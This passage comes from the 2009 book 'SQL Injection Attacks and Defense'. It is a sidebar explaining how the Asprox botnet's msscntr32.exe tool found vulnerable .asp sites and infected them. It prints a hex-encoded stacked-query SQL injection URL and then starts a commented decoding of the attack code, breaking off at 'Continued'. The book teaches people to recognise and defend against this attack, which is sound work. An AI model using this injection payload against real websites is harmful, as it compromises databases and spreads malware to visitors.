SQL Injection Attacks and Defense - 2009

Testing for SQL Injection • Chapter 2 77
Notes from the Underground…
Use of SQL Injection by the Asprox Botnet
A botnet is a large network of infected computers normally used by criminals and
organized crime entities to launch phishing attacks, send spam e-mails, or launch
distributed denial of service (DoS) attacks.
Newly infected computers become part of the botnet which is controlled by a
master server. There are several modes of infection, one of the most common being
the exploitation of Web browser vulnerabilities. In this scenario, the victim opens a
Web page served by a malicious Web site which contains an exploit for the victim’s
browser. If the exploit code is executed successfully the victim is infected.
As a consequence of this method of infection, it is not a surprise that botnet
owners are always looking for target Web sites to serve their malicious software.
The Asprox Trojan was primarily designed to create a spam botnet dedicated to
sending phishing e-mails. However, during May 2008 all the infected systems in the
botnet received an updated component in a file called msscntr32.exe. This file is an
SQL injection attack tool which is installed as a system service under the name of
“Microsoft Security Center Extension.”
Once the service is running, it uses the Google search engine to identify potential
victims by identifying hosts running .asp pages with GET parameters. The infecting
code terminates the current statements and appends a new one as you just saw in this
chapter. Let’s have a look at the infecting URL:
http://www.victim.com/vulnerable.asp?id=425;DECLARE @S
VARCHAR(4000);SET @S=CAST(0x4445434C4152452040542056415243
434C415245202075F437572736F72 AS
VARCHAR(4000));EXEC(@S);-- [shortened for brevity]
The following is the unencoded and commented code that performs the attack:
DECLARE
@T VARCHAR(255), /* variable to store the table name */
@C VARCHAR(255) /* variable to store the column name */
DECLARE Table_Cursor CURSOR
/* declares a DB cursor that will contain */
FOR /* all the table/column pairs for all the */
Continued